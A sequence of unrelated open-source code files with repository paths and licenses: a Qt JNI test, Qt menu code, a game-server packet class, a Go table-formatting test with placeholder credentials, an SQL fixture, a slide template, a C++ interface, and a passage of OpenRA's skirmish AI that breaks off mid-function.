QVERIFY(res.isValid()); } // jfloatArray -------------------------------------------------------------------------------- { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jfloatArray>(testClassName, "staticFloatArrayMethod"); QVERIFY(res.isValid()); } { QAndroidJniObject res = testClass.callObjectMethod<jfloatArray>("floatArrayMethod"); QVERIFY(res.isValid()); } // jdoubleArray ------------------------------------------------------------------------------- { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jdoubleArray>(testClassName, "staticDoubleArrayMethod"); QVERIFY(res.isValid()); } { QAndroidJniObject res = testClass.callObjectMethod<jdoubleArray>("doubleArrayMethod"); QVERIFY(res.isValid()); } } void tst_QAndroidJniObject::isClassAvailable() { QVERIFY(QAndroidJniObject::isClassAvailable("java/lang/String")); QVERIFY(!QAndroidJniObject::isClassAvailable("class/not/Available")); QVERIFY(QAndroidJniObject::isClassAvailable("org/qtproject/qt5/android/QtActivityDelegate")); } void tst_QAndroidJniObject::fromLocalRef() { const int limit = 512 + 1; QAndroidJniEnvironment env; for (int i = 0; i != limit; ++i) QAndroidJniObject o = QAndroidJniObject::fromLocalRef(env->FindClass("java/lang/String")); } QTEST_APPLESS_MAIN(tst_QAndroidJniObject) #include "tst_qandroidjniobject.moc"
gpl-3.0
rsieger/PanXML
trunk/Sources/ApplicationCreateMenu.cpp
7803
// *********************************************************************************************** // * * // * createMenu.cpp - creates application menus * // * * // * Dr. Rainer Sieger - 2008-05-18 * // * * // *********************************************************************************************** #include "Application.h" // ********************************************************************************************** // ********************************************************************************************** // ********************************************************************************************** /*! @brief Erstellen der Menue-Aktionen. */ void MainWindow::createActions() { // File menu newWindowAction = new QAction(tr("&New window"), this); newWindowAction->setShortcut(tr("Ctrl+N")); connect(newWindowAction, SIGNAL(triggered()), this, SLOT(newWindow())); openFileAction = new QAction(tr("&Open..."), this); openFileAction->setShortcut(tr("Ctrl+O")); connect(openFileAction, SIGNAL(triggered()), this, SLOT(chooseFiles())); openFolderAction = new QAction(tr("Select &Folder..."), this); openFolderAction->setShortcut(tr("Ctrl+F")); connect(openFolderAction, SIGNAL(triggered()), this, SLOT(chooseFolder())); saveAction = new QAction(tr("&Save"), this); saveAction->setShortcut(tr("Ctrl+S")); connect(saveAction, SIGNAL(triggered()), this, SLOT(saveFile())); saveAsAction = new QAction(tr("Save &As..."), this); connect(saveAsAction, SIGNAL(triggered()), this, SLOT(saveFileAs())); hideWindowAction = new QAction(tr("&Close window"), this); hideWindowAction->setShortcut(tr("Ctrl+W")); connect(hideWindowAction, SIGNAL(triggered()), this, SLOT(hideWindow())); exitAction = new QAction(tr("&Quit"), this); exitAction->setShortcut(tr("Ctrl+Q")); connect(exitAction, SIGNAL(triggered()), this, SLOT(exitApplication())); //AMD createAmdXmlAction = new QAction(tr("Dataset list -> XML files for AMD registration"), this); connect(createAmdXmlAction, SIGNAL(triggered()), this, SLOT(doCreateAmdXml())); // TIB createDoiXmlAction = new QAction(tr("Reference list -> XML files for DOI registration"), this); connect(createDoiXmlAction, SIGNAL(triggered()), this, SLOT(doCreateDoiXml())); createSingleDoiXmlDialogAction = new QAction(tr("Create XML file for DOI registration..."), this); connect(createSingleDoiXmlDialogAction, SIGNAL(triggered()), this, SLOT(doCreateSingleDoiXmlDialog())); /* // ePIC createEPicXmlAction = new QAction(tr("Reference list -> XML file for ePIC batch upload"), this); connect(createEPicXmlAction, SIGNAL(triggered()), this, SLOT(doCreateEPicXml())); createSimpleEPicXmlAction = new QAction(tr("Create simple XML file for ePIC batch upload..."), this); connect(createSimpleEPicXmlAction, SIGNAL(triggered()), this, SLOT(doCreateSimpleEPicXml())); */ // Templates createAmdXmlTemplateAction = new QAction(tr("Create dataset list as template"), this); connect(createAmdXmlTemplateAction, SIGNAL(triggered()), this, SLOT(doCreateAmdXmlTemplate())); createDoiXmlTemplateAction = new QAction(tr("Create reference list as template"), this); connect(createDoiXmlTemplateAction, SIGNAL(triggered()), this, SLOT(doCreateDoiXmlTemplate())); // Help menu aboutAction = new QAction(tr("&About ") + getApplicationName( true ), this); connect(aboutAction, SIGNAL(triggered()), this, SLOT(about())); aboutQtAction = new QAction(tr("About &Qt"), this); connect(aboutQtAction, SIGNAL(triggered()), qApp, SLOT(aboutQt())); showHelpAction = new QAction(getApplicationName( true ) + tr(" &Help"), this); showHelpAction->setShortcut(tr("F1")); connect(showHelpAction, SIGNAL(triggered()), this, SLOT(displayHelp())); #if defined(Q_OS_WIN) newWindowAction->setStatusTip(tr("Create a new file")); openFileAction->setStatusTip(tr("Choose an existing file")); openFolderAction->setStatusTip(tr("Choose an existing folder")); saveAction->setStatusTip(tr("Save the document to disk")); saveAsAction->setStatusTip(tr("Save the document under a new name")); exitAction->setStatusTip(tr("Exit the application")); createSingleDoiXmlDialogAction->setStatusTip(tr("create a single DOI XML file with a dialog")); createDoiXmlAction->setStatusTip(tr("create many DOI XML files with a list of references")); createDoiXmlTemplateAction->setStatusTip(tr("create a reference list as template")); aboutAction->setStatusTip(tr("Show the application's About box")); aboutQtAction->setStatusTip(tr("Show the Qt library's About box")); showHelpAction->setStatusTip(tr("Show the application's help")); #endif } // ********************************************************************************************** // ********************************************************************************************** // ********************************************************************************************** /*! @brief Verbindet Menues mit Aktionen. */ void MainWindow::createMenus() { fileMenu = menuBar()->addMenu( tr( "&File" ) ); fileMenu->addAction( openFileAction ); fileMenu->addAction( openFolderAction ); fileMenu->addSeparator(); #if defined(Q_OS_MAC) fileMenu->addAction( newWindowAction ); newWindowAction->setEnabled( false ); fileMenu->addAction( hideWindowAction ); #endif #if defined(Q_OS_WIN) fileMenu->addAction( hideWindowAction ); #endif fileMenu->addSeparator(); fileMenu->addAction( exitAction ); // ********************************************************************************************** toolMenu = menuBar()->addMenu( tr( "Tools" ) ); toolMenu->addAction( createAmdXmlAction ); toolMenu->addAction( createDoiXmlAction ); toolMenu->addSeparator(); toolMenu->addAction( createAmdXmlTemplateAction ); toolMenu->addAction( createDoiXmlTemplateAction ); // toolMenu->addAction( createSingleDoiXmlDialogAction ); // toolMenu->addAction( createSimpleEPicXmlAction ); // toolMenu->addAction( createEPicXmlAction ); // toolMenu->addSeparator(); // ********************************************************************************************** helpMenu = menuBar()->addMenu( tr( "&Help" ) ); helpMenu->addAction( aboutAction ); helpMenu->addAction( aboutQtAction ); helpMenu->addSeparator(); helpMenu->addAction( showHelpAction ); } // ********************************************************************************************** // ********************************************************************************************** // ********************************************************************************************** void MainWindow::enableMenuItems( const QStringList &sl_FilenameList ) { bool b_containsBinaryFile = containsBinaryFile( sl_FilenameList ); // ********************************************************************************************** QList<QAction*> toolMenuActions = toolMenu->actions(); if ( b_containsBinaryFile == false ) { for ( int i=0; i<toolMenuActions.count(); ++i ) toolMenuActions.at( i )->setEnabled( true ); } else { for ( int i=0; i<toolMenuActions.count(); ++i ) toolMenuActions.at( i )->setEnabled( false ); } }
gpl-3.0
pantelis60/L2Scripts_Underground
gameserver/src/main/java/l2s/gameserver/network/l2/s2c/ChangeWaitTypePacket.java
890
package l2s.gameserver.network.l2.s2c; import l2s.gameserver.model.Creature; /** * 0000: 3f 2a 89 00 4c 01 00 00 00 0a 15 00 00 66 fe 00 ?*..L........f.. * 0010: 00 7c f1 ff ff .|... * * format dd ddd */ public class ChangeWaitTypePacket extends L2GameServerPacket { private int _objectId; private int _moveType; private int _x, _y, _z; public static final int WT_SITTING = 0; public static final int WT_STANDING = 1; public static final int WT_START_FAKEDEATH = 2; public static final int WT_STOP_FAKEDEATH = 3; public ChangeWaitTypePacket(Creature cha, int newMoveType) { _objectId = cha.getObjectId(); _moveType = newMoveType; _x = cha.getX(); _y = cha.getY(); _z = cha.getZ(); } @Override protected final void writeImpl() { writeD(_objectId); writeD(_moveType); writeD(_x); writeD(_y); writeD(_z); } }
gpl-3.0
ddoyaguez/librdt
inc/hashtable.h
746
/* --- Copyright 2017 David Doyaguez Sanchez (daviddoyaguez@gmail.com) --- This file is part of LibRDT. LibRDT is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. LibRDT is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with LibRDT. If not, see <http://www.gnu.org/licenses/>. --- */
gpl-3.0
TcM1911/clinote
write_test.go
4176
/* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, see <http://www.gnu.org/licenses/>. * * Copyright (C) Joakim Kennedy, 2018 */ package clinote import ( "bytes" "testing" "github.com/stretchr/testify/assert" ) func TestWritingNoteAndNotebookTables(t *testing.T) { assert := assert.New(t) nbs := []*Notebook{ &Notebook{GUID: "GUID1", Name: "Notebook1"}, &Notebook{GUID: "GUID2", Name: "Notebook2"}, &Notebook{GUID: "GUID3", Name: "Notebook3"}, } notes := []*Note{ &Note{Title: "Note1", Notebook: &Notebook{GUID: "GUID1"}, Created: int64(0), Updated: int64(0)}, &Note{Title: "Note2", Notebook: &Notebook{GUID: "GUID2"}, Created: int64(0), Updated: int64(0)}, &Note{Title: "Note3", Notebook: &Notebook{GUID: "GUID3"}, Created: int64(0), Updated: int64(0)}, } t.Run("NotebookList", func(t *testing.T) { buf := new(bytes.Buffer) WriteNotebookListing(buf, nbs) assert.Equal(expectedNotebooklist, string(buf.Bytes()), "Notebook list table doesn't match") }) t.Run("NoteList", func(t *testing.T) { buf := new(bytes.Buffer) WriteNoteListing(buf, notes, nbs) assert.Equal(expectedNotelist, string(buf.Bytes()), "Note list table doesn't match") }) } func TestCredentialTable(t *testing.T) { assert := assert.New(t) creds := []*Credential{ &Credential{Name: "Cred1", Secret: "test12", CredType: EvernoteCredential}, &Credential{Name: "Cred2", Secret: "test23", CredType: EvernoteSandboxCredential}, } t.Run("print without secret", func(t *testing.T) { buf := new(bytes.Buffer) WriteCredentialListing(buf, creds) assert.Equal(expectedCredentialList, string(buf.Bytes())) }) t.Run("print with secret", func(t *testing.T) { buf := new(bytes.Buffer) WriteCredentialListingWithSecret(buf, creds) assert.Equal(expectedCredentialListWithSecret, string(buf.Bytes())) }) } func TestSettingsTable(t *testing.T) { assert := assert.New(t) buf := new(bytes.Buffer) WriteSettingsListing(buf, []string{"credential"}, []string{"An index value."}, []string{"Set the active credential for the user."}) assert.Equal(expectedSettingList, string(buf.Bytes())) } const expectedNotebooklist = `+---+-----------+ | # | NAME | +---+-----------+ | 1 | Notebook1 | | 2 | Notebook2 | | 3 | Notebook3 | +---+-----------+ ` const expectedNotelist = `+---+-------+-----------+------------+------------+ | # | TITLE | NOTEBOOK | MODIFIED | CREATED | +---+-------+-----------+------------+------------+ | 1 | Note1 | Notebook1 | 1970-01-01 | 1970-01-01 | | 2 | Note2 | Notebook2 | 1970-01-01 | 1970-01-01 | | 3 | Note3 | Notebook3 | 1970-01-01 | 1970-01-01 | +---+-------+-----------+------------+------------+ ` const expectedCredentialList = `+---+-------+------------------+ | # | NAME | TYPE | +---+-------+------------------+ | 1 | Cred1 | Evernote | | 2 | Cred2 | Evernote Sandbox | +---+-------+------------------+ ` const expectedCredentialListWithSecret = `+---+-------+------------------+--------+ | # | NAME | TYPE | SECRET | +---+-------+------------------+--------+ | 1 | Cred1 | Evernote | test12 | | 2 | Cred2 | Evernote Sandbox | test23 | +---+-------+------------------+--------+ ` const expectedSettingList = `+------------+-----------------+--------------------------------+ | SETTING | ARGUMENTS | DESCRIPTION | +------------+-----------------+--------------------------------+ | credential | An index value. | Set the active credential for | | | | the user. | +------------+-----------------+--------------------------------+ `
gpl-3.0
dbunibas/spicy
spicyEngine/misc/resources/egds/05doubleJoin/doubleJoin-source-instance.sql
701
CREATE TABLE "public"."employee"( "ssn" varchar(255) , "name" varchar(255) , "company" varchar(255), "vid" varchar(255) ) WITHOUT OIDS; CREATE TABLE "public"."vehicle"( "vid" varchar(255) , "carplate" varchar(255) ) WITHOUT OIDS; -- ---------------------------- -- Records -- ---------------------------- INSERT INTO "public"."employee" VALUES ('1', 'Alice', 'PZ', 'v1'); INSERT INTO "public"."employee" VALUES ('2', 'Bruno', 'DIA', 'v2'); INSERT INTO "public"."employee" VALUES ('3', 'John', 'IBM', 'v3'); INSERT INTO "public"."vehicle" VALUES ('v1', 'RM11'); INSERT INTO "public"."vehicle" VALUES ('v2', 'RM22'); INSERT INTO "public"."vehicle" VALUES ('v3', 'RM33');
gpl-3.0
meathill-lecture/about-me
slides/index.html
1737
<!DOCTYPE html> <html lang="zh-cmn-Hans"> <head> <meta charset="UTF-8"> <title>{{title}}</title> <meta name="description" content="{{description}}"> <meta name="keywords" content="教程,前端,前端教程,在线教程,{{keywords}}"> <meta name="author" content="Meathill, meathill@gmail.com"> <meta name="thumbnail" content="{{thumbnail}}"> <meta name="format-detection" content="telephone=no" /> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="renderer" content="webkit"> <meta http-equiv="Cache-Control" content="no-siteapp" ><!-- 禁止百度转码 --> <meta name ="viewport" content ="initial-scale=1, minimum-scale=1, user-scalable=no"> <meta name="apple-mobile-web-app-title" content="{{title}}"> <meta name="apple-mobile-web-app-capable" content="yes" /> <link rel="stylesheet" href="../node_modules/reveal.js/css/reveal.css"> <link rel="stylesheet" href="../node_modules/reveal.js/css/theme/sky.css"> <link rel="stylesheet" href="../node_modules/highlight.js/styles/github.css"> <link rel="stylesheet" href="../node_modules/font-awesome/css/font-awesome.min.css"> <link rel="stylesheet" href="../css/slide.css"> </head> <body> <div class="reveal"> <div class="slides"> <section data-markdown="{{markdown}}" data-separator="--------" data-separator-vertical="========" data-separator-notes="^Note:"> </section> </div> </div> <script src="../node_modules/reveal.js/lib/js/head.min.js"></script> <script src="../node_modules/reveal.js/js/reveal.js"></script> <script src="../node_modules/jquery/dist/jquery.min.js" data-exclude></script> <script src="../app/slide-dev.js" data-exclude></script> </body> </html>
gpl-3.0
jmenashe/person-reidentification
reidentifier/include/Svm.h
366
#ifndef SVM_H #define SVM_H #include <boost/foreach.hpp> #include <stdio.h> #include "Util.h" #include "Typedefs.h" class Svm { public: virtual void train(const std::vector<PidMat>&,const std::vector<int>&) = 0; virtual float predict(const PidMat& feature) = 0; virtual void save(std::string) = 0; virtual void load(std::string) = 0; }; #endif
gpl-3.0
166MMX/OpenRA
OpenRA.Mods.RA/AI/HackyAI.cs
30524
#region Copyright & License Information /* * Copyright 2007-2014 The OpenRA Developers (see AUTHORS) * This file is part of OpenRA, which is free software. It is made * available to you under the terms of the GNU General Public License * as published by the Free Software Foundation. For more information, * see COPYING. */ #endregion using System; using System.Collections; using System.Collections.Generic; using System.Linq; using OpenRA.Mods.Common; using OpenRA.Mods.RA.Activities; using OpenRA.Mods.RA.Traits; using OpenRA.Mods.RA.Buildings; using OpenRA.Mods.RA.Move; using OpenRA.Mods.Common.Power; using OpenRA.Primitives; using OpenRA.Support; using OpenRA.Traits; namespace OpenRA.Mods.RA.AI { public sealed class HackyAIInfo : IBotInfo, ITraitInfo { [Desc("Ingame name this bot uses.")] public readonly string Name = "Unnamed Bot"; [Desc("Minimum number of units AI must have before attacking.")] public readonly int SquadSize = 8; [Desc("Production queues AI uses for buildings.")] public readonly string[] BuildingQueues = { "Building" }; [Desc("Production queues AI uses for defenses.")] public readonly string[] DefenseQueues = { "Defense" }; [Desc("Delay (in ticks) between giving out orders to units.")] public readonly int AssignRolesInterval = 20; [Desc("Delay (in ticks) between attempting rush attacks.")] public readonly int RushInterval = 600; [Desc("Delay (in ticks) between updating squads.")] public readonly int AttackForceInterval = 30; [Desc("How long to wait (in ticks) between structure production checks when there is no active production.")] public readonly int StructureProductionInactiveDelay = 125; [Desc("How long to wait (in ticks) between structure production checks ticks when actively building things.")] public readonly int StructureProductionActiveDelay = 10; [Desc("Minimum range at which to build defensive structures near a combat hotspot.")] public readonly int MinimumDefenseRadius = 5; [Desc("Maximum range at which to build defensive structures near a combat hotspot.")] public readonly int MaximumDefenseRadius = 20; [Desc("Try to build another production building if there is too much cash.")] public readonly int NewProductionCashThreshold = 5000; [Desc("Only produce units as long as there are less than this amount of units idling inside the base.")] public readonly int IdleBaseUnitsMaximum = 12; [Desc("Radius in cells around enemy BaseBuilder (Construction Yard) where AI scans for targets to rush.")] public readonly int RushAttackScanRadius = 15; [Desc("Radius in cells around the base that should be scanned for units to be protected.")] public readonly int ProtectUnitScanRadius = 15; [Desc("Radius in cells around a factory scanned for rally points by the AI.")] public readonly int RallyPointScanRadius = 8; [Desc("Radius in cells around the center of the base to expand.")] public readonly int MaxBaseRadius = 20; [Desc("Production queues AI uses for producing units.")] public readonly string[] UnitQueues = { "Vehicle", "Infantry", "Plane", "Ship", "Aircraft" }; [Desc("Should the AI repair its buildings if damaged?")] public readonly bool ShouldRepairBuildings = true; string IBotInfo.Name { get { return this.Name; } } [Desc("What units to the AI should build.", "What % of the total army must be this type of unit.")] [FieldLoader.LoadUsing("LoadUnits")] public readonly Dictionary<string, float> UnitsToBuild = null; [Desc("What buildings to the AI should build.", "What % of the total base must be this type of building.")] [FieldLoader.LoadUsing("LoadBuildings")] public readonly Dictionary<string, float> BuildingFractions = null; [Desc("Tells the AI what unit types fall under the same common name.")] [FieldLoader.LoadUsing("LoadUnitsCommonNames")] public readonly Dictionary<string, string[]> UnitsCommonNames = null; [Desc("Tells the AI what building types fall under the same common name.")] [FieldLoader.LoadUsing("LoadBuildingsCommonNames")] public readonly Dictionary<string, string[]> BuildingCommonNames = null; [Desc("What buildings should the AI have max limits n.", "What is the limit of the building.")] [FieldLoader.LoadUsing("LoadBuildingLimits")] public readonly Dictionary<string, int> BuildingLimits = null; // TODO Update OpenRA.Utility/Command.cs#L300 to first handle lists and also read nested ones [Desc("Tells the AI how to use its support powers.")] [FieldLoader.LoadUsing("LoadDecisions")] public readonly List<SupportPowerDecision> PowerDecisions = new List<SupportPowerDecision>(); static object LoadList<T>(MiniYaml y, string field) { var nd = y.ToDictionary(); return nd.ContainsKey(field) ? nd[field].ToDictionary(my => FieldLoader.GetValue<T>(field, my.Value)) : new Dictionary<string, T>(); } static object LoadUnits(MiniYaml y) { return LoadList<float>(y, "UnitsToBuild"); } static object LoadBuildings(MiniYaml y) { return LoadList<float>(y, "BuildingFractions"); } static object LoadUnitsCommonNames(MiniYaml y) { return LoadList<string[]>(y, "UnitsCommonNames"); } static object LoadBuildingsCommonNames(MiniYaml y) { return LoadList<string[]>(y, "BuildingCommonNames"); } static object LoadBuildingLimits(MiniYaml y) { return LoadList<int>(y, "BuildingLimits"); } static object LoadDecisions(MiniYaml yaml) { var ret = new List<SupportPowerDecision>(); foreach (var d in yaml.Nodes) if (d.Key.Split('@')[0] == "SupportPowerDecision") ret.Add(new SupportPowerDecision(d.Value)); return ret; } public object Create(ActorInitializer init) { return new HackyAI(this, init); } } public class Enemy { public int Aggro; } public enum BuildingType { Building, Defense, Refinery } public sealed class HackyAI : ITick, IBot, INotifyDamage { public MersenneTwister random { get; private set; } public readonly HackyAIInfo Info; public CPos baseCenter { get; private set; } public Player p { get; private set; } Dictionary<SupportPowerInstance, int> waitingPowers = new Dictionary<SupportPowerInstance, int>(); Dictionary<string, SupportPowerDecision> powerDecisions = new Dictionary<string, SupportPowerDecision>(); PowerManager playerPower; SupportPowerManager supportPowerMngr; PlayerResources playerResource; bool enabled; int ticks; BitArray resourceTypeIndices; RushFuzzy rushFuzzy = new RushFuzzy(); Cache<Player, Enemy> aggro = new Cache<Player, Enemy>(_ => new Enemy()); List<BaseBuilder> builders = new List<BaseBuilder>(); List<Squad> squads = new List<Squad>(); List<Actor> unitsHangingAroundTheBase = new List<Actor>(); // Units that the ai already knows about. Any unit not on this list needs to be given a role. List<Actor> activeUnits = new List<Actor>(); public const int feedbackTime = 30; // ticks; = a bit over 1s. must be >= netlag. public readonly World world; public Map Map { get { return world.Map; } } IBotInfo IBot.Info { get { return this.Info; } } public HackyAI(HackyAIInfo info, ActorInitializer init) { Info = info; world = init.world; foreach (var decision in info.PowerDecisions) powerDecisions.Add(decision.OrderName, decision); } public static void BotDebug(string s, params object[] args) { if (Game.Settings.Debug.BotDebug) Game.Debug(s, args); } // Called by the host's player creation code public void Activate(Player p) { this.p = p; enabled = true; playerPower = p.PlayerActor.Trait<PowerManager>(); supportPowerMngr = p.PlayerActor.Trait<SupportPowerManager>(); playerResource = p.PlayerActor.Trait<PlayerResources>(); foreach (var building in Info.BuildingQueues) builders.Add(new BaseBuilder(this, building, p, playerPower, playerResource)); foreach (var defense in Info.DefenseQueues) builders.Add(new BaseBuilder(this, defense, p, playerPower, playerResource)); random = new MersenneTwister((int)p.PlayerActor.ActorID); resourceTypeIndices = new BitArray(world.TileSet.TerrainInfo.Length); // Big enough foreach (var t in Map.Rules.Actors["world"].Traits.WithInterface<ResourceTypeInfo>()) resourceTypeIndices.Set(world.TileSet.GetTerrainIndex(t.TerrainType), true); } ActorInfo ChooseRandomUnitToBuild(ProductionQueue queue) { var buildableThings = queue.BuildableItems(); if (!buildableThings.Any()) return null; var unit = buildableThings.ElementAtOrDefault(random.Next(buildableThings.Count())); return HasAdequateAirUnits(unit) ? unit : null; } ActorInfo ChooseUnitToBuild(ProductionQueue queue) { var buildableThings = queue.BuildableItems(); if (!buildableThings.Any()) return null; var myUnits = p.World .ActorsWithTrait<IPositionable>() .Where(a => a.Actor.Owner == p) .Select(a => a.Actor.Info.Name).ToArray(); foreach (var unit in Info.UnitsToBuild.Shuffle(random)) if (buildableThings.Any(b => b.Name == unit.Key)) if (myUnits.Count(a => a == unit.Key) < unit.Value * myUnits.Length) if (HasAdequateAirUnits(Map.Rules.Actors[unit.Key])) return Map.Rules.Actors[unit.Key]; return null; } int CountBuilding(string frac, Player owner) { return world.ActorsWithTrait<Building>() .Count(a => a.Actor.Owner == owner && a.Actor.Info.Name == frac); } int CountUnits(string unit, Player owner) { return world.ActorsWithTrait<IPositionable>() .Count(a => a.Actor.Owner == owner && a.Actor.Info.Name == unit); } int? CountBuildingByCommonName(string commonName, Player owner) { if (!Info.BuildingCommonNames.ContainsKey(commonName)) return null; return world.ActorsWithTrait<Building>() .Count(a => a.Actor.Owner == owner && Info.BuildingCommonNames[commonName].Contains(a.Actor.Info.Name)); } public ActorInfo GetBuildingInfoByCommonName(string commonName, Player owner) { if (commonName == "ConstructionYard") return Map.Rules.Actors.Where(k => Info.BuildingCommonNames[commonName].Contains(k.Key)).Random(random).Value; return GetInfoByCommonName(Info.BuildingCommonNames, commonName, owner); } public ActorInfo GetUnitInfoByCommonName(string commonName, Player owner) { return GetInfoByCommonName(Info.UnitsCommonNames, commonName, owner); } public ActorInfo GetInfoByCommonName(Dictionary<string, string[]> names, string commonName, Player owner) { if (!names.Any() || !names.ContainsKey(commonName)) throw new InvalidOperationException("Can't find {0} in the HackyAI UnitsCommonNames definition.".F(commonName)); return Map.Rules.Actors.Where(k => names[commonName].Contains(k.Key)).Random(random).Value; } public bool HasAdequateFact() { // Require at least one construction yard, unless we have no vehicles factory (can't build it). return CountBuildingByCommonName("ConstructionYard", p) > 0 || CountBuildingByCommonName("VehiclesFactory", p) == 0; } public bool HasAdequateProc() { // Require at least one refinery, unless we have no power (can't build it). return CountBuildingByCommonName("Refinery", p) > 0 || CountBuildingByCommonName("Power", p) == 0; } public bool HasMinimumProc() { // Require at least two refineries, unless we have no power (can't build it) // or barracks (higher priority?) return CountBuildingByCommonName("Refinery", p) >= 2 || CountBuildingByCommonName("Power", p) == 0 || CountBuildingByCommonName("Barracks", p) == 0; } // For mods like RA (number of building must match the number of aircraft) bool HasAdequateAirUnits(ActorInfo actorInfo) { if (!actorInfo.Traits.Contains<ReloadsInfo>() && actorInfo.Traits.Contains<LimitedAmmoInfo>() && actorInfo.Traits.Contains<AircraftInfo>()) { var countOwnAir = CountUnits(actorInfo.Name, p); var countBuildings = CountBuilding(actorInfo.Traits.Get<AircraftInfo>().RearmBuildings.FirstOrDefault(), p); if (countOwnAir >= countBuildings) return false; } return true; } CPos defenseCenter; public CPos? ChooseBuildLocation(string actorType, bool distanceToBaseIsImportant, BuildingType type) { var bi = Map.Rules.Actors[actorType].Traits.GetOrDefault<BuildingInfo>(); if (bi == null) return null; // Find the buildable cell that is closest to pos and centered around center Func<CPos, CPos, int, int, CPos?> findPos = (center, target, minRange, maxRange) => { var cells = Map.FindTilesInAnnulus(center, minRange, maxRange); // Sort by distance to target if we have one if (center != target) cells = cells.OrderBy(c => (c - target).LengthSquared); else cells = cells.Shuffle(random); foreach (var cell in cells) { if (!world.CanPlaceBuilding(actorType, bi, cell, null)) continue; if (distanceToBaseIsImportant && !bi.IsCloseEnoughToBase(world, p, actorType, cell)) continue; return cell; } return null; }; switch (type) { case BuildingType.Defense: // Build near the closest enemy structure var closestEnemy = world.Actors.Where(a => !a.Destroyed && a.HasTrait<Building>() && p.Stances[a.Owner] == Stance.Enemy) .ClosestTo(world.Map.CenterOfCell(defenseCenter)); var targetCell = closestEnemy != null ? closestEnemy.Location : baseCenter; return findPos(defenseCenter, targetCell, Info.MinimumDefenseRadius, Info.MaximumDefenseRadius); case BuildingType.Refinery: // Try and place the refinery near a resource field var nearbyResources = Map.FindTilesInCircle(baseCenter, Info.MaxBaseRadius) .Where(a => resourceTypeIndices.Get(Map.GetTerrainIndex(a))) .Shuffle(random); foreach (var c in nearbyResources) { var found = findPos(c, baseCenter, 0, Info.MaxBaseRadius); if (found != null) return found; } // Try and find a free spot somewhere else in the base return findPos(baseCenter, baseCenter, 0, Info.MaxBaseRadius); case BuildingType.Building: return findPos(baseCenter, baseCenter, 0, distanceToBaseIsImportant ? Info.MaxBaseRadius : Map.MaxTilesInCircleRange); } // Can't find a build location return null; } public void Tick(Actor self) { if (!enabled) return; ticks++; if (ticks == 1) InitializeBase(self); if (ticks % feedbackTime == 0) ProductionUnits(self); AssignRolesToIdleUnits(self); SetRallyPointsForNewProductionBuildings(self); TryToUseSupportPower(self); foreach (var b in builders) b.Tick(); } internal Actor ChooseEnemyTarget() { if (p.WinState != WinState.Undefined) return null; var liveEnemies = world.Players .Where(q => p != q && p.Stances[q] == Stance.Enemy && q.WinState == WinState.Undefined); if (!liveEnemies.Any()) return null; var leastLikedEnemies = liveEnemies .GroupBy(e => aggro[e].Aggro) .MaxByOrDefault(g => g.Key); var enemy = (leastLikedEnemies != null) ? leastLikedEnemies.Random(random) : liveEnemies.FirstOrDefault(); // Pick something worth attacking owned by that player var target = world.Actors .Where(a => a.Owner == enemy && a.HasTrait<IOccupySpace>()) .ClosestTo(world.Map.CenterOfCell(baseCenter)); if (target == null) { /* Assume that "enemy" has nothing. Cool off on attacks. */ aggro[enemy].Aggro = aggro[enemy].Aggro / 2 - 1; Log.Write("debug", "Bot {0} couldn't find target for player {1}", this.p.ClientIndex, enemy.ClientIndex); return null; } // Bump the aggro slightly to avoid changing our mind if (leastLikedEnemies.Count() > 1) aggro[enemy].Aggro++; return target; } internal Actor FindClosestEnemy(WPos pos) { var allEnemyUnits = world.Actors .Where(unit => p.Stances[unit.Owner] == Stance.Enemy && !unit.HasTrait<Husk>() && unit.HasTrait<ITargetable>()); return allEnemyUnits.ClosestTo(pos); } internal Actor FindClosestEnemy(WPos pos, WRange radius) { var enemyUnits = world.FindActorsInCircle(pos, radius) .Where(unit => p.Stances[unit.Owner] == Stance.Enemy && !unit.HasTrait<Husk>() && unit.HasTrait<ITargetable>()).ToList(); if (enemyUnits.Count > 0) return enemyUnits.ClosestTo(pos); return null; } List<Actor> FindEnemyConstructionYards() { return world.Actors.Where(a => p.Stances[a.Owner] == Stance.Enemy && !a.IsDead && a.HasTrait<BaseBuilding>() && !a.HasTrait<Mobile>()).ToList(); } void CleanSquads() { squads.RemoveAll(s => !s.IsValid); foreach (var s in squads) s.units.RemoveAll(a => a.IsDead || a.Owner != p); } // Use of this function requires that one squad of this type. Hence it is a piece of shit Squad GetSquadOfType(SquadType type) { return squads.FirstOrDefault(s => s.type == type); } Squad RegisterNewSquad(SquadType type, Actor target = null) { var ret = new Squad(this, type, target); squads.Add(ret); return ret; } int assignRolesTicks = 0; int rushTicks = 0; int attackForceTicks = 0; void AssignRolesToIdleUnits(Actor self) { CleanSquads(); activeUnits.RemoveAll(a => a.IsDead || a.Owner != p); unitsHangingAroundTheBase.RemoveAll(a => a.IsDead || a.Owner != p); if (--rushTicks <= 0) { rushTicks = Info.RushInterval; TryToRushAttack(); } if (--attackForceTicks <= 0) { attackForceTicks = Info.AttackForceInterval; foreach (var s in squads) s.Update(); } if (--assignRolesTicks > 0) return; assignRolesTicks = Info.AssignRolesInterval; GiveOrdersToIdleHarvesters(); FindNewUnits(self); CreateAttackForce(); FindAndDeployBackupMcv(self); } void GiveOrdersToIdleHarvesters() { // Find idle harvesters and give them orders: foreach (var a in activeUnits) { var harv = a.TraitOrDefault<Harvester>(); if (harv == null) continue; if (!a.IsIdle) { var act = a.GetCurrentActivity(); // A Wait activity is technically idle: if ((act.GetType() != typeof(Wait)) && (act.NextActivity == null || act.NextActivity.GetType() != typeof(FindResources))) continue; } if (!harv.IsEmpty) continue; // Tell the idle harvester to quit slacking: world.IssueOrder(new Order("Harvest", a, false)); } } void FindNewUnits(Actor self) { var newUnits = self.World.ActorsWithTrait<IPositionable>() .Where(a => a.Actor.Owner == p && !a.Actor.HasTrait<BaseBuilding>() && !activeUnits.Contains(a.Actor)) .Select(a => a.Actor); foreach (var a in newUnits) { if 